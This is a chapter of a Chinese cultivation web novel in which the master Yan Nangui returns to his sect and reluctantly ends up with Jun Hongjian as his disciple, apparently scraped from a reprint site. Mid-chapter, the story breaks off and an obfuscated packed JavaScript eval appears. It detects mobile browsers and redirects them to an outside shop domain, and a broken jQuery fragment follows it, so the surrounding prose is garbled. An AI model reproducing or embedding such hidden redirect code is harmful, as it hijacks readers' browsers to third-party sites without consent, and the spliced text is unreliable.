文趣网 > 其他小说 > 师尊何故如此 > 61. 雁将南归(七)
    雁南归算着日子,留逐犀在小村教习小红笺,嘱咐他几年后白玉京开山收徒时带她上浮山入仙门,自己则转身再次踏进红尘寻找谢游。

    几年间他一人一剑走遍三界九州,君红笺跟在身后看他愈发沉默愈发孤寂。

    她道:“师尊,你为谁而活?”

    几载须臾,雁南归回到了白玉京。

    白玉京内变化天翻地覆,从前许多与他一同修炼的弟子,如今都扛起大梁做了长老。无极司人丁单薄,上一代长老一去不返杳无音讯,弟子们守着宗门等了一年复一年,终究低头认命,为长老们奉上明灯以做祭奠。直至雁南归出现在无极司腐朽的门匾下,扫地的弟子怔在原地任凭手中扫帚滑落。

    有弟子骂他:“你还知道回来?当你死在外头了!”

    有弟子啜泣:“师兄回来了!无极司不会没落了!”

    纷扰杂乱的声响将雁南归包裹,他竟有些无措,下意识将不濯剑藏在身后,又觉不妥索性收进芥子袋中。

    最后一次除妖途中,他拔剑欲斩下妖邪头颅,剑尖抵住妖邪时方才发觉原本银光闪烁万分凛然的不濯剑,此时暗淡无光犹如一把寻常铁剑。雁南归将剑扎进妖邪胸膛,却满腔憋闷。他咬牙将剑扎得更深,直至剑身没入地面大半,他也顺势跪倒。

    他想,天道在上,提醒他是该到此为止了。

    世间修士有七穴,七穴皆封则灵脉尽断,或是沦为凡者或是形神俱灭,不过是听天由命。

    他预备无声无息地死在这处无名山丘,唯一可惜的是少了场凛冽的冬雪。

    封完六穴后,他的手停在了最后一穴上。

    他忽而想起了小村里野草一般顽强生长的小红笺。

    那一年北方小城,衔真长老送他到白玉京后便撒手人寰,留他在白玉京无灾无难无以为靠。如今他却是要走上衔真长老的老路,送一个似他一般野生野长的稚子入白玉京,再留她一人孤苦伶仃。

    逐犀能护得住她吗?

    雁南归苦笑着摇头,抬手擦去嘴角淌下的血,解穴从地上拔起不濯剑,脚步虚浮地往浮山走去。

    不濯剑散灵,君红笺垂眸看着雁南归腰间的芥子袋。

    这世上有太多情,爱情、亲情、友情甚至恩情,因情而生欲,因欲而生执。雁南归将自己困在衔真长老的因果里,又使得君红笺成了自己的因果,由是日渐偏离了无情道的道义,直至不濯剑收回了对他的认可,宁可化为废铁也不愿再为他所用。

    雁南归回到无极司,继而成为新一代长老。

    开山大典时各宗门长老皆出席在场,或是威严或是和蔼,各个脸上写满了历尽千帆。无极司一众长老夹杂在其中甚是别扭,放眼望去很难让人不怀疑,是顽劣的弟子偷穿了长老的宗服,搓袖口的搓袖口,整衣领的整衣领,皆是紧张到不知所措。唯独雁南归站在最旁侧,眸中无波无澜,面上不喜不悲。

    执法殿在这种时候总是来得迟些,问心台上新弟子胡乱聚堆闲聊。

    雁南归默不作声扫视着新弟子。

    新弟子中有人滔滔不绝,洋洋洒洒说着白玉京内各宗门秘事,一旁枯木上坐着个悠哉啃果子的少女。

    雁南归视线停留片刻,而后提步走了过去。

    “师兄,你去哪?”身后有同门压低声音喊他:“执法殿快来了,你做什么去?”

    雁南归充耳不闻,自顾自往前走。

    渐至跟前,恰好听到那人道:“正是因那长老不知天高地厚,竟敢谎称自己是人祖转世,这才叫无极司遭了天谴!”

    雁南归呼吸一滞,转身就要走。

    耳边少女声似玉环碰撞,清脆透亮。他听见她道:“若这天道当真如此小心眼,早晚有人反了她。”

    晃然间,雁南归好像回到那年那处小村庄,夕阳下的田埂里,小小女童握拳对欺负她的男童道:“哪怕饿死,也不准你们这样说!”

    如今时光荏苒,再见时稚子抽条长成了亭亭玉立的少女,可不变的是她仍旧不低头不屈服。在她眼中,天道与男童无异,所谓天命也不过是一碗糙米饭,无所畏惧无往不利。

    少女骤然回头,闯进雁南归的视线与他遥遥相望。

    君红笺站在雁南归身后,看他双手颤然落荒而逃。

    开山大典的后半程,雁南归缺席了。他在静尘居内看着空荡的苗圃,听着居所外热闹非凡的笑语,站在檐下握着枯朽的不濯剑出神。许久过后,逐犀背着手吊儿郎当走进静尘居,一屁股坐在他身侧。

    雁南归问:“结束了?”

    “结束了。”逐犀伸展腰身,打了个哈欠:“简直累死人。”

    他又问:“如何?”

    逐犀不住点头:“那还用问吗?你真别说,那娃娃本就资质不错,这些年我教她纳灵打坐修行,一日不曾懈怠过。有天赋又肯吃苦,绝对是个修道的好苗子,白玉京那群人都眼热得很,只差在问心台上为抢人打起来。”

    雁南归轻声道:“那很好。”

    起码比他好。当年他是因人祖转世才暂得众人拥簇,而她是凭自己实力得来的青睐有加,这很好。

    他细细思索着:“依照你的评定,她体质偏寒灵气却自带锋芒,且骨骼坚韧身形挺直适合练剑。白玉京内仙元宗剑术精湛,或可指引她入仙元宗拜迟山长老为师。”

    “仙元宗?”逐犀愣住了:“教了这么久的娃娃就拱手送给仙元宗了?怎不让她入无极司拜你做师?”

    雁南归淡声道:“远离是非才可静心修炼。”

    如今白玉京内,无论是他身边还是无极司,无意都属是非之地。

    被骂声覆盖太久,心会乱,出剑也会不稳。他以己度人,最好送她远离自己远离无极司,起码能落个置身事外安稳修炼。

    逐犀却不这么觉得,“那你自己去说,我反正舍不得将这样好的娃娃亲手送到别家去。”

    “......”雁南归又摆出那副木头模样,“你去。”

    逐犀含笑回他:“我不去。”

    雁南归:“......”

    门外几声轻叩,逐犀耳聪目明立即变回木头人偶钻进芥子袋中。雁南归负手而立,轻声应:“进来。”

    “肃止长老。”风轻眠拱手见礼,却站在门外不进来,只道:“这是新入门的弟子,我带她来见过长老。”

    “见我?”雁南归蹙眉:“为何?”

    原想着这次开始大典,无极司大抵是无人问

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616082|204642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    津,即便是有头铁的弟子偏要拜入,此时也该在正殿中听其他长老讲明宗门规矩才是。

    风轻眠道:“正殿那边的意思是,长老自己的徒弟自己领着。”

    雁南归:“?”

    一股不太好的预感涌上心头。

    他缓缓抬眼,就见静尘居石门外挤进来一个束着凌乱发髻的少女,冲着他咧嘴一笑。

    静尘居内,君红笺同样抱臂咧嘴一笑。

    失策了啊肃止长老。

    雁南归:“......”

    风轻眠领完路送完人就要离开,却被雁南归略显慌乱地喊住,她转身躬身听候差遣。

    雁南归揉着额角道:“你、你先带她去弟子居。”

    前脚风轻眠领着人离开,后脚逐犀就从芥子袋里蹿出来,伸长双臂仰天大笑道:“不枉我这几年悉心栽培!果然是好样的,没叫我失望!哈哈哈哈哈,雁南归,你没想到吧!”

    雁南归似是动气一般,甩袖转身回了屋内。

    逐犀跟在身后喋喋不休,“这你生哪门子气?让你捡漏占便宜收了个好徒弟,还不满意?还不高兴?”

    雁南归问他:“你想过她拜我为师会有什么下场吗?”

    “什么?”

    还能有什么好下场不成?

    且不说他在白玉京内人人唾骂,作为他的徒弟免不了被牵连着无端染上非议。单凭无极司如今岌岌可危自身难保,这些年谢游将自己藏得极深,甚至似乎察觉到了雁南归在身后穷追不舍,每每将要追上时他便想方设法在别处制造些动乱出来,迫使雁南归不得不暂时停下脚步转头去救人。可明明谢游并不需要躲躲藏藏,执法殿时那一战,两人实力孰强孰弱皆心知肚明,谢游根本没道理为了躲他而一直逃窜。

    除非他在计划着更大的阴谋。

    若一朝事发,谢游会如何对待这个教养他的宗门?世人又会如何看待无极司?

    内忧外患之中,谁在这时拜入无极司,都是在往火坑里跳。

    一个明明天赋异禀前途不可限量的修道天才,更加没有必要自取灭亡。

    “别这样想。”逐犀道:“或许将来谢游出世时,便是她终结了谢游的阴谋呢?”

    雁南归嗤笑一声。

    救世?

    算了吧。

    不过是徒增磨难罢了。

    他道:“送她离开无极司。”

    “来不及了。”逐犀道:“你没看到她怀里的弟子牌吗?她已然是你雁南归的徒弟,是无极司的弟子了。”

    弟子牌意味着已被登记在册,宗门正殿内亦有一盏专属的命灯,无论弟子走到哪里,长老都可在正殿中凭借命灯观测弟子安危。小小一枚弟子牌便是将弟子与宗门牢牢锁定在一起,此后是生是死,她都是无极司的弟子。

    雁南归心烦意乱,拂袖挥下桌上诸多书籍,支着头不语。

    长发垂落,遮住了大半张脸。

    他的神情隐在长发后,搭在桌上的手青筋暴起,指腹扣在桌上愈发用力,直至指尖泛白指骨颤然。

    良久,他道:“那就换条路。”

    逐犀问:“你要如何?”

    他答:“我要她不涉苦难,我要她成仙。”